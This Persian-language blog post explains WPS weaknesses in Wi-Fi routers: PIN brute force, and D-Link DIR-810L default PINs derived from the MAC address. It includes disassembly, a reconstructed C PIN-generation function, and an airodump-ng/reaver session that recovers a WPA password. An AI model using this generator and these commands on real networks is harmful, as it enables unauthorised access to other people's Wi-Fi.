WPS چگونه باعث هک شدن وای فای میشود؟

http://IceCat.ir

مقدمه:

سوالی که این روزها ذهن خیلی ها رو به خودش مشغول کرده هک کردن وایرلس دوستان و همسایگان و آشنایان و بستگان است.

در آنطرف قضیه نیز مطمئناً تو ذهن خودتون به این فکر میکنید که چیکار کنم وایرلس من هک نشه؟

مطمئناً با نرم افزارهایی که بر روی گوشی شما نصب میشوند و با استفاده از آن میتوانید وایرلس دیگران را هک کنید آشنا هستید (مانند(WPS Connect ، اما آیا از خود پرسیده اید این نرم افزارها چگونه اقدام به هک کردن وایرلس میکنند؟

در این پست که برای اولین بار توسط آیس کت منتشر میشود به تحلیل روشی که اینگونه نرم افزارها برای هک کردن وایرلس استفاده میکنند میپردازیم.

تعاریف:

از آنجا که ما قصد داریم هم کاربران حرفه ای و هم کاربران آماتور از این مقاله استفاده کنند و با اینگونه حملات آشنا شوند، در ابتدا به تعریف WPS و MAC Address میپردازیم.

WPS چیست؟

WPS مخفف کلمه WiFi Protected Setup یا راه اندازی حفاظت شده وای فای میباشد. این استاندارد در سال ۲۰۰۷ توسط اتحادیه وای فای معرفی شد و هدف از آن این بود که کاربرانی که اطلاعات کمی در زمینه امنیت شبکه های وای فای دارند به سادگی بتونن به اکسس پوینت خود متصل شوند. در WPS شما نیاز نیست SSID یا پسورد شبکه وای فای را بدانید، بنابراین میتوانید با تولید رشته ای تصادفی و طولانی به عنوان پسورد وایرلس، احتمال کرک شدن آنرا کاهش بدهید.

برای اتصال با استفاده از WPS کافیست دکمه WPS موجود بر روی هر دو دستگاه (مثلا مودم وایرلس و گوشی خود) را فشار دهید تا بطور خودکار به یکدیگر متصل شوند.

گرچه برای اتصال به شبکه بی سیم با استفاده از WPS سه روش دیگر نیز وجود دارند که از آن جمله میتوان به متد NFC اشاره کرد، اما توضیح این روش ها در حوصله این مقاله نمیباشد.

MAC Address چیست؟

مک آدرس که با نام آدرس فیزیکی نیز خوانده میشود، آدرسی است منحصر بفرد که برای برقراری ارتباط بین اجزای یک شبکه کامپیوتری استفاده میشود. طول این آدرس معمولاً ۶ بایت بوده که بصورت ۱۱:۲۲:۳۳:۴۴:۵۵:۶۶ نوشته میشود. (هر بایت با استفاده از یک : جدا میشود).

منظور از منحصربفرد بودن این آدرس این است که هیچ تجهیزات شبکه ای در دنیا نیست که مک آدرس یکسانی با هم داشته باشند.

برای برقراری ارتباط لازم است عناصر موجود در شبکه از MAC Address یکدیگر مطلع باشند، به عبارت دیگر MAC Address آدرسی است که مخفی نبوده و به سادگی قابل رویت است.

چرا WPS هک میشود؟

طراحی WPS از ابتدا اشتباه بود و این باعث شد که این پروتکل از نظر وجود حفره های امنیتی مثل یک آبکش عمل کنه .😀اما حتما میپرسید چرا؟

در این مقاله دو تکنیک را بررسی میکنیم.

تکنیک اول، تکنیک Brute Force:

یکی از روش های اتصال WPS به غیر از فشردن دکمه WPS موجود بر روی هر دو دستگاه (اصتلاحاًPBC)، استفاده از روش PIN است، بدین ترتیب که با داشتن پین کد WPS میتوان به وایرلس متصل شد.

جالب اینجاست که این کد، کدی است تماماً عددی و به طول ۸ کاراکتر است! یعنی ۱۰۰.۰۰۰.۰۰۰ حالت مختلف.

اما موضوع وقتی جالبتر میشود که بدانید در این پروتکل هر ۸ کاراکتر با هم چک نمیشوند، بلکه روتر ابتدا ۴ کاراکتر اول را چک میکند و سپس اگر درست بود ۴ کاراکتر دوم را!

این مساله باعث میشود که میدان احتمالات ما از ۱۰۰ میلیون حالت مختلف تنها به ۱۰ هزار حالت سقوط کند.در نتیجه یک هکر میتواند با استفاده از روش Brute Force ابتدا با تست نهایتاً 10هزار حالت مختلف، ۴ رقم اول را پیدا و سپس ۴ کارکتر آخر را پیدا کند.

شاید فکر کنید چک کردن ۲۰ هزار کاراکتر (۱۰۰۰۰ * ۲) کار بسیار بسیار زمان بری هست، اما به این نکته توجه داشته باشید که ما برای Brute Force کردن به صورت دستی کاری رو انجام نمیدیم و از اسکریپت ها بهره میبریم، در نتیجه بصورت تخمینی میتونم بهتون بگم که زمان پیدا کردن پسورد WPS در اکسس پوینت های آسیب پذیر حدود ۱۰ ساعت است!

تکنیک دوم، تکنیک مهندسی معکوس:

این روش دقیقا همان روشی است که در برنامه هایی نظیر WPS Connect انجام میشه و گوشی شما رو تبدیل میکنه به یک ابزار برای هک کردن شبکه بی سیم دوستان و آشنایان، آن هم فقط با یک کلیک!

اما آیا از خود پرسیده اید که این نرم افزارها چگونه کار میکنند؟

داستان از اینجا شروع میشه که اینبار بجای اتحادیه وای فای، شرکت های سازنده تجهیزات شبکه ای ما کم کاری کرده‌اند.

زمانی که شما یک روتر جدید خریداری میکنید، بطور پیش فرض پین کدی برای سیستم WPS آن تعریف شده است. مشکل اینجاست که این کد بصورت تصادفی تولید نمیشود، بلکه از روی MAC Address یا BSSID دستگاه شما ساخته میشود.

همانطور که گفته شده MAC Address به هیچوجه در شبکه مخفی نیست و هر کسی (چه داخل شبکه ما باشد، چه نباشد) قادر به رویت آن است.

پس ما MAC Address را داریم و میدانیم که پسورد پیشرفض WPS نیز از روی همین آدرس ساخته شده است، پس تنها کاری که میکنیم انجام یکسری محاسبات ریاضی و پیدا کردن پسورد WPS در کمتر از چند ثانیه است.

به مثال زیر توجه کنید، کد زیر، بخشی از کد دیکامپایل شده ساب روتین sub_4D56F8 فرمور روتر DIR-810L محصول شرکت DLink است، این ساب روتین مسئول تولید PIN پیشفرض WPS در این دستگاه است :(**جهت نمایش کامل کد اینجا را کلیک کنید**)

```
.text:004D5910    sll     $v0, 3
.text:004D5914    addu    $v0, $a0
.text:004D5918    sll     $v1, $v0, 2
.text:004D591C    addu    $v0, $v1
.text:004D5920    sll     $v0, 7
.text:004D5924    subu    $a3, $a1, $v0
.text:004D5928    sltu    $a2, $a3
.text:004D592C    bnez    $a2, loc_4D5980
.text:004D5930    sw      $a3, 0x98+nic($sp)
.text:004D5934    li      $v0, 0x38E38E39
.text:004D593C    multu   $a3, $v0
.text:004D5940    ori     $a1, $t0, 0x4240
.text:004D5944    mfhi    $v0
.text:004D5948    srl     $v0, 1
.text:004D594C    sll     $a0, $v0, 3
.text:004D5950    addu    $a0, $v0
.text:004D5954    subu    $a0, $a3, $a0
.text:004D5958    sll     $v1, $a0, 5
.text:004D595C    subu    $v1, $a0
.text:004D5960    sll     $v0, $v1,
.text:004D5964    subu    $v0, $v1
.text:004D5968    sll     $v0, 3
.text:004D596C    addu    $v0, $a0
.text:004D5970    sll     $v0, 6
```

از آنجایی که عملیات ریاضی انجام شده چندان پیچیده نیست، با توجه به این که کد را دیکامپایل کرده‌ایم، مشخص کردن هدف برنامه نویس در کد بالا ضرورتی ندارد.

اگر خط ۱۷۸، ۱۷۹، ۱۸۱ و ۱۸۲ را کنار هم بگذاریم کد زیر را داریم:

```
li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1
```

اگر بخواهیم تکه کد بالا را به زبان C تبدیل کنیم کد زیر را خواهیم داشت:

```
v0 = ((a3 * 0x38E38E39) >> 32) >> 1;
```

که راهی تجملی برای تقسیم a3 به ۹ است، پس کد ساده شده برابر خواهد بود با:

```
v0 = a3 / 9;
```

در هر صورت وقت را با بررسی های کوتاه تلف نمیکنیم و با بررسی کامل ساب روتین sub_4D56F8 و تبدیل آن به کدهای خواناتر، مشخص میشود که از الگوریتمی ساده جهت تولید رمز پیشفرض WPS استفاده شده است:

```
unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* ایجاد اشاره گری به مک آدرس */
    mac = lockAndGetInfo_log()->wan_mac_address;

    /*
     * ایجاد یک کپی از آدرس مک (بدون نال)
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);
```

```
    /*
     * تبدیل قسمت های
     * OUI (سه بایت ابتدایی که نماینده شرکت سازنده است)
     * و
     * NIC (آدرس یکتا)
     * به مقادیر اینتیجر
     * دقت کنید که او-یو-آی بلا استفاده است و تنها از نیک استفاده میگردد
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* انجام عملیات ایکس-اور بر روی مک آدرس - قسمت نیک */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));

    /*
     *  بزرگترین باقی مانده تقسیم هر عددی بر ۱۰.۰۰۰.۰۰۰ برابر
     * با عدد ۹.۹۹۹.۹۹۹ (هفت رقم) و کوچکترین آن مشخصاً صفر خواهد یود
     */
     pin = pin % 10000000;

    /* طول پین کد لازم است حداقل هفت کاراکتر باشد، البته فعلاً */
    if(pin < 1000000)
    {
        /*
         * بزرگترین باقی مانده هر عددی تقسم بر ۹ برابر
         * است با ۸. بنابراین این قسمت از کد باعث میشود حداکثر ۹.۰۰۰.۰۰۰ و
         * حداقل ۱.۰۰۰.۰۰۰ به مقدار پین بیافزاید. این عمل تضمین میکند
         * که اولا پین تولید شده ۷ کاراکتر طول دارد
         * و دوما با صفر شروع نمیشود
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }

    /*
     * پین کد ۸ رقمی نهایی همان ۷ رقم محاسبه شده است
     * به اضافه یک رقم کنترلی چک سام
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;
}
```

اکنون کافیست MAC Address مورد نظر (جمع BSSID مربوطه با ۱) را به برنامه بدهیم تا پسورد پیشفرض آنرا دریافت کنیم:

```
$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2016-03-11 11:44 ][ fixed channel mon0: -1

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER
AUTH ESSID

C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK
dlink-B3D6

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID + 1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'IceCat.IR PASSWORD'
[+] AP SSID: 'dlink-B3D6'
```

متاسفانه روترهای زیادی اقدام به ساخت پین کد پیشفرض WPS از روی MAC Address میکنند و همین امر موجب شده تا نرم افزارهای زیادی جهت هک کردن آنها ارائه شود.